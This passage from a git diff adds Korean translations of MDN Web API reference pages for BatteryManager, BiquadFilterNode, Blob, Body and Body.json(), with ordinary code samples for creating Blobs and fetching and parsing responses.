+ <dt>{{domxref("BatteryManager.dischargingTime")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리가 완전히 방전되고 시스템이 중지 될 때까지의 남은 시간을 초로 표현 합니다.</dd>
+ <dt>{{domxref("BatteryManager.level")}} {{ReadOnlyInline}}</dt>
+ <dd>배터리의 충전 상태를 0.0 에서 1.0 사이의 값으로 표현 합니다.</dd>
+</dl>
+
+<h3 id="이벤트_핸들러">이벤트 핸들러</h3>
+
+<dl>
+ <dt>{{domxref("BatteryManager.onchargingchange")}}</dt>
+ <dd>{{event("chargingchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 상태가 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("BatteryManager.onchargingtimechange")}}</dt>
+ <dd>{{event("chargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 충전 시간이 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("BatteryManager.ondischargingtimechange")}}</dt>
+ <dd>{{event("dischargingtimechange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 방전 시간이 변경될 때 발생합니다.</dd>
+ <dt>{{domxref("BatteryManager.onlevelchange")}}</dt>
+ <dd>{{event("levelchange")}} 이벤트의 핸들러 입니다. 이 이벤트는 배터리 수준 상태가 변경 될 때 발생합니다.</dd>
+</dl>
+
+<h2 id="메소드">메소드</h2>
+
+<p>Inherited from {{domxref("EventTarget")}}:</p>
+
+<p>{{domxref("EventTarget")}} 으로 부터 상속을 받습니다:</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Methods")}}</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('Battery API')}}</td>
+ <td>{{Spec2('Battery API')}}</td>
+ <td>초기 명세</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.BatteryManager")}}</p>
+
+<h2 id="참고">참고</h2>
+
+<ul>
+ <li>{{ domxref("window.navigator.battery","navigator.battery") }}</li>
+ <li><a href="/ko/docs/WebAPI/Battery_Status" title="/en-US/docs/WebAPI/Battery_Status">Battery Status API</a></li>
+</ul>
diff --git a/files/ko/web/api/biquadfilternode/index.html b/files/ko/web/api/biquadfilternode/index.html
new file mode 100644
index 0000000000..55cd1dfa4d
--- /dev/null
+++ b/files/ko/web/api/biquadfilternode/index.html
@@ -0,0 +1,249 @@
+---
+title: BiquadFilterNode
+slug: Web/API/BiquadFilterNode
+translation_of: Web/API/BiquadFilterNode
+---
+<p>{{APIRef("Web Audio API")}}</p>
+
+<div>
+<p><span class="seoSummary">The <code>BiquadFilterNode</code> interface represents a simple low-order filter, and is created using the {{ domxref("AudioContext.createBiquadFilter()") }} method. It is an {{domxref("AudioNode")}} that can represent different kinds of filters, tone control devices, and graphic equalizers.</span> A <code>BiquadFilterNode</code> always has exactly one input and one output.</p>
+</div>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Number of inputs</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Number of outputs</th>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count mode</th>
+ <td><code>"max"</code></td>
+ </tr>
+ <tr>
+ <th scope="row">Channel count</th>
+ <td><code>2</code> (not used in the default count mode)</td>
+ </tr>
+ <tr>
+ <th scope="row">Channel interpretation</th>
+ <td><code>"speakers"</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.BiquadFilterNode", "BiquadFilterNode()")}}</dt>
+ <dd>Creates a new instance of an <code>BiquadFilterNode</code> object.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, </em><em>{{domxref("AudioNode")}}</em>.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.frequency")}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}, a double representing a frequency in the current filtering algorithm measured in hertz (Hz).</dd>
+ <dt>{{domxref("BiquadFilterNode.detune")}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}} representing detuning of the frequency in <a class="external external-icon" href="http://en.wikipedia.org/wiki/Cent_%28music%29">cents</a>.</dd>
+ <dt>{{domxref("BiquadFilterNode.Q")}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}, a double representing a <a href="http://en.wikipedia.org/wiki/Q_factor" title="http://en.wikipedia.org/wiki/Q_factor">Q factor</a>, or <em>quality factor</em>.</dd>
+ <dt>{{domxref("BiquadFilterNode.gain")}} {{readonlyInline}}</dt>
+ <dd>Is an <a href="/en-US/docs/Web/API/AudioParam#a-rate">a-rate</a> {{domxref("AudioParam")}}, a double representing the <a href="http://en.wikipedia.org/wiki/Gain" title="http://en.wikipedia.org/wiki/Gain">gain</a> used in the current filtering algorithm.</dd>
+ <dt>{{domxref("BiquadFilterNode.type")}}</dt>
+ <dd>Is a string value defining the kind of filtering algorithm the node is implementing.<br>
+
+ <table class="standard-table">
+ <caption>The meaning of the different parameters depending of the type of the filter (detune has the same meaning regardless, so isn't listed below)</caption>
+ <thead>
+ <tr>
+ <th scope="row"><code>type</code></th>
+ <th scope="col">Description</th>
+ <th scope="col"><code>frequency</code></th>
+ <th scope="col"><code>Q</code></th>
+ <th scope="col"><code>gain</code></th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <th scope="row"><code>lowpass</code></th>
+ <td>12dB/octave의 롤오프를 가진 표준 2차 공진 로우패스 필터입니다. 컷오프 이하의 주파수는 통과하며 그 이상의 주파수는 감쇠합니다.</td>
+ <td>컷오프 주파수</td>
+ <td>컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.</td>
+ <td><em>Not used</em></td>
+ </tr>
+ <tr>
+ <th scope="row"><code>highpass</code></th>
+ <td>12dB/octave의 롤오프를 가진 표준 2차 공진 하이패스 필터입니다. 컷오프 이하의 주파수는 감쇠하며 그 이상의 주파수는 통과합니다.</td>
+ <td>컷오프 주파수</td>
+ <td>컷오프 부근에서 주파수의 피크가 얼마나 큰지 나타냅니다. 값이 클수록 피크가 커집니다.</td>
+ <td><em>Not used</em></td>
+ </tr>
+ <tr>
+ <th scope="row"><code>bandpass</code></th>
+ <td>표준 2차 밴드패스 필터입니다. 주어진 주파수 대역 바깥의 주파수는 감쇠되며, 이내의 주파수는 통과합니다.</td>
+ <td>주파수 대역의 중앙</td>
+ <td>주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.</td>
+ <td><em>Not used</em></td>
+ </tr>
+ <tr>
+ <th scope="row"><code>lowshelf</code></th>
+ <td>표준 2차 로우쉘프 필터입니다. 기준 주파수보다 낮은 주파수는 증폭되거나 감쇠됩니다. 그 이상의 주파수는 변하지 않습니다.</td>
+ <td>증폭이나 감쇠를 얻는 주파수의 상한값</td>
+ <td><em>Not used</em></td>
+ <td>적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row"><code>highshelf</code></th>
+ <td>표준 2차 하이쉘프 필터입니다. 기준 주파수보다 큰 주파수는 증폭되거나 감쇠됩니다. 그 이하의 주파수는 변하지 않습니다.</td>
+ <td>증폭이나 감쇠를 얻는 주파수의 하한값</td>
+ <td><em>Not used</em></td>
+ <td>적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row"><code>peaking</code></th>
+ <td>대역 내의 주파수는 증폭되거나 감쇠됩니다. 바깥의 주파수는 변하지 않습니다.</td>
+ <td>증폭이나 감쇠를 얻는 주파수 대역의 중앙</td>
+ <td>주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.</td>
+ <td>적용할 증폭(단위 : dB), 음수이면 감쇠됩니다.</td>
+ </tr>
+ <tr>
+ <th scope="row"><code>notch</code></th>
+ <td>밴드 스톱, 혹은 밴드 리젝션으로 불리는 표준 <a href="http://en.wikipedia.org/wiki/Band-stop_filter" title="/en-US/docs/">notch</a> 필터입니다. 이는 밴드패스 필터와 반대입니다. 주어진 대역폭 바깥의 주파수는 통과하며, 안쪽의 주파수는 감쇠합니다.</td>
+ <td>주파수 대역의 중앙</td>
+ <td>주파수 대역의 폭을 조정합니다. Q값이 클수록 주파수 대역은 작아집니다.</td>
+ <td><em>Not used</em></td>
+ </tr>
+ <tr>
+ <th scope="row"><code>allpass</code></th>
+ <td>표준 2차 <a href="http://en.wikipedia.org/wiki/All-pass_filter#Digital_Implementation" title="/en-US/docs/">allpass</a> 필터입니다. 이는 모든 주파수를 통과시키지만, 가변 주파수 사이의 위상 관계를 변화시킵니다.</td>
+ <td>최대 <a href="http://en.wikipedia.org/wiki/Group_delay_and_phase_delay" title="/en-US/docs/">group delay</a>를 갖는 주파수, 즉 위상 전이 발생의 중심에 있는 주파수입니다.</td>
+ <td>중간 주파수에서 전환이 얼마나 선명한가를 제어합니다. 이 매개 변수가 클수록 더 선명하고 크게 전환됩니다.</td>
+ <td><em>Not used</em></td>
+ </tr>
+ </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>{{domxref("AudioNode")}} 로부터 메서드를 상속받습니다</em>.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.getFrequencyResponse()")}}</dt>
+ <dd>이 메서드는 현재 필터 파라미터 설정으로부터 제공된 주파수 배열에 지정된 주파수에 대한 주파수 응답을 계산합니다</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createBiquadFilter","Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Web Audio API', '#the-biquadfilternode-interface', 'BiquadFilterNode')}}</td>
+ <td>{{Spec2('Web Audio API')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Edge</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari (WebKit)</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatChrome(50.0)}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatGeckoDesktop(25.0)}} </td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatOpera(15)}}{{property_prefix("webkit")}}<br>
+ {{CompatOpera(22)}} (unprefixed)</td>
+ <td>6.0{{property_prefix("webkit")}}</td>
+ </tr>
+ <tr>
+ <td>constructor</td>
+ <td>{{CompatChrome(55.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOpera(42)}}</td>
+ <td>{{CompatUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Android Webview</th>
+ <th>Edge</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>Firefox OS</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ <th>Chrome for Android</th>
+ </tr>
+ <tr>
+ <td>Basic support</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>26.0</td>
+ <td>1.2</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(50.0)}}</td>
+ </tr>
+ <tr>
+ <td>constructor</td>
+ <td>{{CompatNo}}</td>
+ <td>{{CompatChrome(55.0)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatOperaMobile(42)}}</td>
+ <td>{{CompatUnknown}}</td>
+ <td>{{CompatChrome(55.0)}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/blob/blob/index.html b/files/ko/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..9a82b69399
--- /dev/null
+++ b/files/ko/web/api/blob/blob/index.html
@@ -0,0 +1,59 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+tags:
+ - API
+ - Blob
+ - Constructor
+ - File API
+ - Reference
+translation_of: Web/API/Blob/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><code><strong>Blob()</strong></code> 생성자는 새로운 {{domxref("Blob")}} 객체를 반환합니다. 해당 블롭의 콘텐츠는 매개변수로 제공한 배열을 이어붙인 값입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array[</em>, <em>options]</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<ul>
+ <li><em>array</em>는 {{jsxref ( "ArrayBuffer")}}, {{domxref ( "ArrayBufferView")}}, {{domxref ( "Blob")}}, {{domxref ( "DOMString")}} 객체 또는 {{domxref ( "Blob")}} 안에 들어갈 이러한 객체가 혼합되어 있다. DOMString은 UTF-8로 인코딩 된다.</li>
+ <li><em>options</em>는 다음 두 속성을 선택적으로 사용할 수 있는 <code>BlobPropertyBag</code> dictionary이다.
+ <ul>
+ <li><code>type</code>, (기본값 <code>""</code>) blob에 넣을 배열 내용의 MIME 형식을 나타낸다.</li>
+ <li><code>endings</code>, (기본값 <code>"transparent"</code>) 줄 끝 문자 \ n을 포함하는 문자열을 어떻게 써야 하는지를 지정.  다음 두 값을 사용 : <code>"native"</code>는 호스트 OS 파일 시스템 규칙과 일치하도록 줄 끝 문자가 변경된다는 것을 의미합니다. 즉, <code>"transparent"</code>는 끝이 변경없이 blob에 저장됨을 의미합니다. {{non-standard_inline}}</li>
+ </ul>
+ </li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js language-js">var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob</pre>
+
+<h2 id="Specification" name="Specification">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세서</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>기초정의(Initial definition)</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Blob.Blob")}}</p>
diff --git a/files/ko/web/api/blob/index.html b/files/ko/web/api/blob/index.html
new file mode 100644
index 0000000000..09afa4aa31
--- /dev/null
+++ b/files/ko/web/api/blob/index.html
@@ -0,0 +1,151 @@
+---
+title: Blob
+slug: Web/API/Blob
+tags:
+ - API
+ - Blob
+ - File
+ - File API
+ - Interface
+ - Reference
+ - 파일
+translation_of: Web/API/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><span class="seoSummary"><code>Blob</code> 객체는 파일류의 불변하는 미가공 데이터를 나타냅니다.</span> 텍스트와 이진 데이터의 형태로 읽을 수 있으며, {{domxref("ReadableStream")}}으로 변환한 후 그 메서드를 사용해 데이터를 처리할 수도 있습니다.</p>
+
+<p><code>Blob</code>은 JavaScript 네이티브 형태가 아닌 데이터도 표현할 수 있습니다. {{domxref("File")}} 인터페이스는 사용자 시스템의 파일을 지원하기 위해 <code>Blob</code> 인터페이스를 확장한 것이므로, 모든 블롭 기능을 상속합니다.</p>
+
+<h2 id="Blob_사용하기"><code>Blob</code> 사용하기</h2>
+
+<p>블롭이 아닌 객체와 데이터에서 <code>Blob</code>을 생성하려면 {{domxref("Blob.Blob", "Blob()")}} 생성자를 사용하세요. 다른 블롭의 일부에서 새로운 블롭을 생성할 땐 {{domxref("Blob.slice", "slice()")}} 메서드를 사용할 수 있습니다. 사용자의 파일 시스템 내 파일을 <code>Blob</code>으로 얻는 방법은 {{domxref("File")}} 문서를 참고하세요.</p>
+
+<p><code>Blob</code> 객체를 허용하는 API의 목록은 <code>File</code> 문서에도 있습니다.</p>
+
+<dl>
+</dl>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob()")}}</dt>
+ <dd>매개변수로 제공한 배열의 모든 데이터를 합친 데이터를 담은 새로운 <code>Blob</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd><code>Blob</code> 객체가 담은 데이터의 바이트 단위의 사이즈입니다.</dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd><code>Blob</code> 객체가 담은 데이터의 MIME 유형을 나타내는 문자열입니다. 유형을 알 수 없는 경우 빈 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{DOMxRef("Blob.arrayBuffer()")}}</dt>
+ <dd><code>Blob</code>의 전체 내용을 이진 데이터로 담은 {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다</dd>
+ <dt>{{domxref("Blob.slice()")}}</dt>
+ <dd>메서드를 호출한 블롭의 바이트를 주어진 시작 바이트와 끝 바이트 범위에서 복제해 새로운 <code>Blob</code> 객체를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Blob.stream()")}}</dt>
+ <dd><code>Blob</code>의 콘텐츠를 읽을 수 있는 {{domxref("ReadableStream")}}을 반환합니다.</dd>
+ <dt>{{domxref("Blob.text()")}}</dt>
+ <dd><code>Blob</code>의 전체 내용을 UTF-8 텍스트로 담은 {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제 </h2>
+
+<h3 id="블롭_생성하기">블롭 생성하기</h3>
+
+<p>{{DOMxRef("Blob.Blob", "Blob()")}} 생성자를 사용해 다른 객체에서 블롭을 생성하세요. 예를 들어, 아래 코드는 문자열에서 블롭을 생성합니다.</p>
+
+<pre class="brush: js">const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});</pre>
+
+<h3 id="형식_배열의_콘텐츠를_나타내는_URL_생성하기">형식 배열의 콘텐츠를 나타내는 URL 생성하기</h3>
+
+<p>다음 코드는 JavaScript {{jsxref("TypedArray")}}를 생성한 후, 그 데이터를 담은 <code>Blob</code> 객체도 만듭니다. 그 후, {{domxref("URL.createObjectURL()")}}을 호출해 블롭을 {{glossary("URL")}}로 변환합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This example creates a typed array containing the ASCII codes
+ for the space character through the letter Z, then converts it
+ to an object URL. A link to open that object URL is created.
+ Click the link to see the decoded object URL.&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>이 코드의 주제는 <code>typedArrayToURL()</code> 함수로, 주어진 <code>TypedArray</code>에서 <code>Blob</code>을 생성하고, 블롭의 객체 URL을 반환합니다. 데이터를 객체 URL로 변환한 후에는 {{HTMLElement("img")}} 요소의 {{htmlattrxref("src", "img")}} 특성에 지정하는 등 다양하게 사용할 수 있습니다. (물론 해당 객체가 이미지여야 합니다)</p>
+
+<pre class="brush: js">function typedArrayToURL(typedArray, mimeType) {
+ return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i &lt; 59; i++) {
+ bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("형식_배열의_콘텐츠를_나타내는_URL_생성하기", 600, 200)}}</p>
+
+<h3 id="블롭에서_데이터_추출하기">블롭에서 데이터 추출하기</h3>
+
+<p>블롭에서 데이터를 읽는 방법 하나는 {{domxref("FileReader")}}를 사용하는 것입니다. 다음 코드는 <code>Blob</code>의 콘텐츠를 형식 배열로서 읽어 들입니다.</p>
+
+<pre class="brush: js">const reader = new FileReader();
+reader.addEventListener('loadend', () =&gt; {
+ // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>또 다른 방법은 블롭을 {{domxref("Response")}}로 사용하는 것입니다. 다음 코드는 <code>Blob</code>의 내용을 텍스트로 읽어옵니다.</p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> text <span class="operator token">=</span> <span class="keyword token">await</span> <span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Response</span><span class="punctuation token">(</span>blob<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">text</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><code>FileReader</code>의 다른 메서드를 사용하면 블롭의 데이터를 문자열이나 데이터 URL로도 읽어올 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">비고</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('File API', '#blob-section', 'The <code>Blob</code> interface')}}</td>
+ <td>{{Spec2('File API')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Blob")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("BlobBuilder")}}</li>
+ <li>{{domxref("FileReader")}}</li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("URL.createObjectURL")}}</li>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/body/index.html b/files/ko/web/api/body/index.html
new file mode 100644
index 0000000000..6e5cc42061
--- /dev/null
+++ b/files/ko/web/api/body/index.html
@@ -0,0 +1,97 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+ - API
+ - BODY
+ - Experimental
+ - Fetch
+ - Fetch API
+ - Interface
+ - Reference
+ - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">The <strong><code>Body</code></strong> {{glossary("mixin")}} of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.</span></p>
+
+<p><code>Body</code> is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated <dfn>body</dfn> (a <a href="/en-US/docs/Web/API/Streams_API">stream</a>), a <dfn>used flag</dfn> (initially unset), and a <dfn>MIME type</dfn> (initially the empty byte sequence).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("Boolean")}} that indicates whether the body has been read.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is <em>always</em> decoded using UTF-8.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="JS_Content">JS Content</h3>
+
+<pre class="brush: js">const myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+ .then(res =&gt; res.blob())
+ .then(res =&gt; {
+ const objectURL = URL.createObjectURL(res);
+ myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/body/json/index.html b/files/ko/web/api/body/json/index.html
new file mode 100644
index 0000000000..761720f420
--- /dev/null
+++ b/files/ko/web/api/body/json/index.html
@@ -0,0 +1,73 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>{{domxref("Body")}} mixin의 <strong><code>json()</code></strong> 매서드는 {{domxref("Response")}} 스트림을 가져와 스트림이 완료될때까지 읽는다. 이 메서드는 body 텍스트를 {{jsxref("JSON")}}으로 바꾸는 결과로 해결되는 promise를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">response.json().then(function(data) {
+ // do something with your data
+});</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>없음.</p>
+
+<h3 id="반환값">반환값</h3>
+
+<p>A promise that resolves with the result of parsing the body text as JSON. This could be anything that can be represented by JSON — an object, an array, a string, a number...</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch a <code>.json</code> file. When the fetch is successful, we read and parse the data using <code>json()</code>, then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.</p>
+
+<pre class="brush: js">var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+ .then(function(response) { return response.json(); })
+ .then(function(data) {
+ for (var i = 0; i &lt; data.products.length; i++) {
+ var listItem = document.createElement('li');
+ listItem.innerHTML = '&lt;strong&gt;' + data.products[i].Name + '&lt;/strong&gt; can be found in ' +
+ data.products[i].Location +
+ '. Cost: &lt;strong&gt;£' + data.products[i].Price + '&lt;/strong&gt;';
+ myList.appendChild(listItem);
+ }
+ });</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Fetch','#dom-body-json','json()')}}</td>
+ <td>{{Spec2('Fetch')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
